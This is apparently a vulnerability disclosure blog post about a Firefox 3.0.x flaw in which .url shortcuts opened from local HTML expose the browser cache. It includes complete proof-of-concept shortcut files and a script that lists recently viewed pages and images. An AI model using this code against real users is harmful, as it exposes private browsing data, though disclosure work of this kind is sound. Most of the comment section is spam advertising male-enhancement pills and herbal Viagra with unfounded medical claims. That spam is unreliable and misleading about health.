Firefox Privacy Broken If Used to Open Web Page File

* Also works on Firefox 3.0.3
* Also works on Firefox 3.0.2

Workaround:
Do not use Firefox to open web page file - not from RAR package, not from remote Windows share folder, not from local, etc. Just don't use it to open dot HTM/HTML files.




Screenshot of running the proof of concept code(after clearing cache and visiting news.yahoo.com)
Firefox Cache Exposed 1
Firefox Cache Exposed 2
The demo displays all images that you recently viewed online, Take care - just in case there might be some inappropriate images. :-)




For Firefox, location is wrong when dot URL shortcut is launched by HTML elements. Slightly variant from CVE-2008-2810 which is about command line and only fixed in that perspective. Contents at any location can be read by taking advantage of this error - cache information, cookie information, web, local file system, etc.

Here is proof of concept showing all cached images. Web page is required to be opened in local path or Windows share(UNC/SMB) path. Reproduced on Firefox 3.0.1 running on Windows XP SP3, US English.

-----testurl1.url-----
[InternetShortcut]
URL=about:cache?device=memory
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2

-----testurl2.url-----
[InternetShortcut]
URL=about:cache?device=disk
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2

-----test.html-----
<script>
function a()
{
s="";
h="";
for(i=0;i<window.frames.length;i++)
{
    d=window.frames[i].document;
    for(j=0;j<d.links.length;j++)
    {
        u=d.links[j].text
        s+=u+"\n";
        h+="<img src=\""+u+"\">";
    }
}
document.getElementById("t").value=s;
document.getElementById("x").innerHTML=h;
}
</script>
<a href="javascript:a();">Start Test</a><br>
<a href="javascript:window.location=location.href">Load This Page Again</a><br>
<br>
<br>
<b>List of files that you recently fetched from the internet:</b><br>
<textarea rows="10" cols="100" id=t wrap=off></textarea>
<br>
<br>
<b>List of images that you recently viewed on the internet:</b><br>
<div id=x></div>
<br>
<br>
<iframe width=300 height=200 src="testurl1.url"></iframe>
<iframe width=300 height=200 src="testurl2.url"></iframe>

trackback


この記事にトラックバックする(FC2ブログユーザー)

T-Rex

HTML 5 allows connections across domains, through use of the Access- Control HTTP header, as defined in a separate W3C specification (which applies identically to normal XHR usage and to server- sent events). A request is made for a resource as usual, ...

kostenlos telefonieren

Das interessiert Sie auch: Maßgeschneiderte Spielemaschinen Echte PC- Schnäppchen besser erkennen Chance für Browserspiele: Googles Chrome mischt den Markt für Computerspiele auf Jeder kann Schach Online- Gaming: Minenfeld P2P- Tauschbörsen Electr...

health and safety work

safety course

web hosting

Do you have user name(s) and password(s)? WHOIS Information Who is the registrant? Can you access the administrative email address? Is the domain name locked? Where the domain name is registered at?

Natural Appetite Suppressant

This is a good source of information. Normally I found the same ole stuff but found some different stuff here. Good job and keep it up.

Male Enlargement Pills

After finding a bunch of garbage today, I\'m glad I found your site. It\'s hard to find some worthwhile info about this industry. Just wanted to say I like the site and keep it going.

Hoodia Appetite Suppressant

Wow, it is finally good to find a good page with some relevant information. I normally find a lot trash, but this is good and worth it.

Weight Loss Diets

They Laughed When I Said I Lost 18 lbs Of Body Fat In Just 22 Days Without Surgery

Medical Info

Thanks for the info.

credit fixer

There are companies that will fix your credit up for a fee. There are many of these types of companies out there and if you decide to use one of them you should really try to do your homework and research them before paying them a fee for their service...

-

Comment will be displayed after the administrator approves.

-

Comment will be displayed after the administrator approves.

comment

管理者にだけメッセージを送る

No title

American largest online natural herbal health care products reviews and medicines for all kind of health care treatments and solutions for men’s and women’s health, skin care and hair care, general health and sexual health, weight loss and diet from www.naturalherbalproduct.com




Penis Enlargement Pills

If you are already looking at penis enlargement and have chosen to look at penis enlargement pills for your endeavor, there is a high possibility that you have come across Penis Enlargement Pills. But, does Penis Pills work or is it another gimmick cheating innocuous buyers to try the product. There are many Best penis products on the market today that you may have trouble making an informed decision on which products are real and which products are fake. Best Penis enlargement pills are one of the most commonly sought out method attempted to improve the size of the penis. There are many brands of pills available on the internet and all one has to do is to type in the words Penis enlargement Pills and thousands of sites will open up. Like there are many brands of pills available, the pills differ from one another in the composition. Also, there are thousands of fake brands available on the market that does not have any kind of active component to promote penis enlargement. So, it is important to be aware of such products and stay away from them. This is the first step to improvise chances of penis enlargement. View More : http://www.bestpenisproducts.com

Only the administrator may view.

Only the administrator may read this comment.

Penis Enlargement

let try daktay hia kiya hoga

No title

thanks a lot : )

No title

100% Penis Enlargement is possible by Pills like VigRX Plus , Magna RX , Natural Gain Plus , Prosolution Pills And Devices Like SizeGenetics & Proxtender are only available at http://www.theherbalproducts.com

No title

thanks for the information..nice one there

http://kpli-2007.blogspot.com

Penis Enlargement

it is finally good to find a good page with some relevant information.

High Quality 100% NATURAL AND VERY EFFECTIVE PRODUCTS. INCREEASE QUALITY OF YOUR LIFE BY NATURAL WAY.

High Quality 100% NATURAL AND VERY EFFECTIVE PRODUCTS. INCREEASE QUALITY OF YOUR LIFE BY NATURAL WAY.
Viagra,Natural Viagra,women Viagra,herbal Viagra,alternative Viagra,penis enlargement,breast enlargement,vagina thight,cosmetics,face liting,perfect skin,tanning,life style,vitamins,pheromones.
Buy 100% natural herbal viagra - the best herbal remedy for erectile dysfunction. Effective Guarantee less than 45 min and duration up to 72 hours.

Only the administrator may view.

Only the administrator may read this comment.

Only the administrator may view.

Only the administrator may read this comment.

gclub online

Good jobs.

Penis Enlargement • Male Enhancement® Pills, Device, Exercises, Patch

'Top Rated' best penis enlargement products and methods, SizeGenetics Extender penis traction device, VigRX Plus male enhancement pills, ProEnhance penis patch and PenisHealth Exercises.
http://www.male-sexual-styles.com

Vimax

nice, i can learn from it
http://www.buyvimaxpills.com/

No title

When you use men enhancement pills you'll get: Bigger, harder, longer lasting erections on demand. Increased sexual stamina and sex drive. More powerful, intense orgasms. No more mood-killing premature ejaculation etc..Don't lose your chance to make your penis big and strong! Get all information about men enhancement in official site! http://www.cucumaerot.com/top_penis_pills.html. Make your sex life better with men enhancement pills.

Only the administrator may view.

Only the administrator may read this comment.

Penis Enlargement

If you need something about manhood no trap with suck product. Find the truth them at http://www.penisenlargement4us.com

Only the administrator may view.

Only the administrator may read this comment.

Only the administrator may view.

Only the administrator may read this comment.

Penis Enlargement Pills • VigRX Plus™ Male Enhancement Products

Penis Enlargement Pills • VigRX Plus™ Male Enhancement Product. Best penis enlargement pills, Buy VigRX Plus natural herbal male enhancement product increase penis size stop premature ejaculation. http://penisenlargement4.com

Penis Enhancement Pill System - ProSolution™ Pills

Penis Enhancement Pill System - ProSolution™ Pills. Buy ProSolution™ offers a combination of penis enlargement pills and an exercise routine.
http://www.prosolutionpills.com/?a=149322

VigRX Plus™ Male Enhancement Pills

Buy VigRX Plus™ The Best Male Enhancement Pills.
VigRX Plus - http://www.vigrxplus.com/?a=emily83
French VigRX Plus fr - fr.vigrxplus.com/?a=emily83
Russian VigRX Plus ru - ru.vigrxplus.com/?a=emily83
Japanese VigRX Plus jp - jp.vigrxplus.com/?a=emily83
Spanish VigRX Plus es - es.vigrxplus.com/?a=emily83
German VigRX Plus de - de.vigrxplus.com/?a=emily83
Portugese VigRX Plus pt - pt.vigrxplus.com/?a=emily83
Korean VigRX Plus kr - kr.vigrxplus.com/?a=emily83
China VigRX Plus cn - cn.vigrxplus.com/?a=emily83
Trad China VigRX Plus tc - tc.vigrxplus.com/?a=emily83

No title

Nice post, thanks

Penis Enlargement Review - Find out which penis enlargement products really work!

Best penis enlargement product that give fastest results, bigest gains, as well as improved erection hardness, cures premature ejaculation.
http://www.peniselargement4male.com

Vimax Pills Penis Enlargement Pills Review

Vimax pills offer a top rated penis enlargement product. Vimax Pills is 100% Natural and Safe Product. Vimax pills is the only natural penis enlargement product on the market.
http://www.penisenlargement4male.com/vimax-pill-review.html

ProSolution Penis Enlargement Pills Review

ProSolution penis enlargement pills are one of the most effective and well-known herbal penis enlargement pills on the market.
http://www.penisenlargement4male.com/prosolution-pills-review.html

VigRX Plus Penis Enlargement Pills Review

What's in VigRX Plus™, and how does it work?

The VigRX Plus™ formula has been scientifically engineered for maximum possible results. We did our homework to create this one of a kind formula. It includes scientifically tested, potent aphrodisiac herbal concentrates from China, Europe and South America.

This precise blending of herbs forms a powerfully effective combination guaranteed to stimulate sexual activity, maintain a firm erection and increase sexual pleasure. While the benefits of all of these ingredients have been known for centuries, it's important to know that clinical studies have backed up these benefits. Plus with the addition of Bioperine® our ingredients are even more effective.

Imagine a brand of gasoline that had an additive that made their gasoline work better. Because this brand of gas worked better, you discovered that you got dramatically improved miles per gallon. Best of all, you didn't have to pay extra for this additive. Would that be a big deal? Bioperine® works in a similar manner. By adding Bioperine®, other nutrients work better. We feel this is a big deal.

No other penis enhancement product on the market today has this ingredient. If you want superior results, use VigRX Plus™.
http://www.vigrxplus.com/?a=enggar

Best Penis Enlargement Devices Review - ProExtender system

Best Penis Enlargement Devices Review - ProExtender system

Do Penis Enlargement Really Work?
Yes, Penis Enlargement Products Can Help You Achieve A Harder, Faster & Longer Erection, The Most Effective Penis Enlargement Product

For many centuries, man has measured his virility in terms of the width and length of his penis. This dates back to ancient times when men who had larger reproductive organs had a better chance of mating. Having a larger penis can improve your sex life and increase your self confidence.

If you are suffering from low self confidence because of a small penis, now is the time to seek a solution. There is no need to experience feelings of shame or embarrassment. You can now purchase penis enlargement pills that will help to increase the girth and length of your penis. Not only will you enjoy longer erections, you can also enjoy more intense orgasms. The problem is you may feel too embarrassed to contact your doctor about your condition. The good news is that you can find the best penis enlargement pills online. You’ll be able to place an order discreetly any time day or night. Remember, the best penis enlargement pills are only a few mouse clicks away!


Click Here ProExtender System Official Site to Find Out More :
http://www.proextendersystem.com/?a=bestpenisenlargement


Guaranteed Erection in 45 minutes Hard sex up to 72 Hours

Guaranteed Erection in 45 minutes Hard sex up to 72 Hours

SAFE - EFECTIVE - NATURAL. FORGET WHAT YOU HAVE TRY UNTIL NOW
EFFECTIVE AFTER 40 MIN TO 72 HOURS. THE CHIPPEST AND SAFEST NATURAL WAY TO STAY ON THE TOP FOR 72 HOURS.

SUPERIOR HERBAL VIAGRA PLUS AND PENIS ENLARGEMENT. Guaranteed Erection in 45 minutes Hard sex up to 72 Hours. HIGH DEVELOPE NEW SUPERIOR 2009 Product. 100% Herbal & Effective Viagra with result less than 45 min. 4 Capsules / Box Free shipping worldwide All our products are Natural Herbal Supplement NOT A Drug. For men too embarrassed to consult their doctor, Natural Viagra Plus is the answer to a bedtime prayer. Natural Viagra Plus is a natural alternative for prescription drugs. Clinical trials involving 95 men of various ages have demonstrated that Natural Viagra Plus improved the sex drive of more than 92 per cent of men. Natural Viagra Plus works within 45 minutes and last for about 72 hours. Suggested dosage: One tablet prior to sexual activity, not to exceed 2 tablets in any 24-hour period. Natural Viagra Plus comes in a carton box with 4 capsules, each capsule contains 450 mg active mix of Natural Powerful sexual herbs. PRESCRIPTION STRENGTH HERBAL Male Enhancement and it will work in just 45 minutes guaranteed. We suggest taking 1 capsule minimum 45 min or some hours before sex and some hours before or after eating. Avoid making sex with full stomach. Natural Viagra Plus is all-natural herbal supplement that enhances male sexual performance. Natural Viagra Plus contains a scientifically researched combination of more than 20 powerful natural herbs that produce long lasting, hard erections and boost male sexual stamina and energy. Hard, long-lasting sex WHENEVER you want for as long as you want AT ANY AGE! What makes Natural Viagra Plus so powerful is the unique blend of ingredients it contains for male sexual enhancement. Natural Viagra Plus Man Stamina, Sexual Enhancement Capsules can help you: 1. Natural Viagra Plus may help increase pleasure and may help enhance performance. 2. Give powerful, repeat & long lasting erections 3. No prescription required, no addiction and no side effects. 4. Greater ejaculation and maximum sexual pleasure 5. Truly satisfy your partner SPECIAL OFFER: IF YOU BUY 2 BOXES YOU GET 1 BOX FREE.

No title

cool!

Comment is pending approval.

Comment is pending administrator's approval.

Only the administrator may view.

Only the administrator may read this comment.

Comment is pending approval.

Comment is pending administrator's approval.

Comment is pending approval.

Comment is pending administrator's approval.

Only the administrator may view.

Only the administrator may read this comment.

Only the administrator may view.

Only the administrator may read this comment.

Comment is pending approval.

Comment is pending administrator's approval.

Only the administrator may view.

Only the administrator may read this comment.

Only the administrator may view.

Only the administrator may read this comment.

Comment is pending approval.

Comment is pending administrator's approval.

Comment is pending approval.

Comment is pending administrator's approval.

Comment is pending approval.

Comment is pending administrator's approval.

Comment is pending approval.

Comment is pending administrator's approval.

Comment is pending approval.

Comment is pending administrator's approval.

Only the administrator may view.

Only the administrator may read this comment.

Only the administrator may view.

Only the administrator may read this comment.

Comment is pending approval.

Comment is pending administrator's approval.

Comment is pending approval.

Comment is pending administrator's approval.

Only the administrator may view.

Only the administrator may read this comment.

Comment is pending approval.

Comment is pending administrator's approval.

Comment is pending approval.

Comment is pending administrator's approval.

Only the administrator may view.

Only the administrator may read this comment.

Only the administrator may view.

Only the administrator may read this comment.

Comment is pending approval.

Comment is pending administrator's approval.

Only the administrator may view.

Only the administrator may read this comment.

Only the administrator may view.

Only the administrator may read this comment.

Only the administrator may view.

Only the administrator may read this comment.

Comment is pending approval.

Comment is pending administrator's approval.

Comment is pending approval.

Comment is pending administrator's approval.

Comment is pending approval.

Comment is pending administrator's approval.

Comment is pending approval.

Comment is pending administrator's approval.

Comment is pending approval.

Comment is pending administrator's approval.

Comment is pending approval.

Comment is pending administrator's approval.

Comment is pending approval.

Comment is pending administrator's approval.

Comment is pending approval.

Comment is pending administrator's approval.
Profile

Author:Liu Die Yu
Welcome to FC2

Links
New Post
New Comment
New Trackback
Monthly Archive
Category
Search
RSS Feed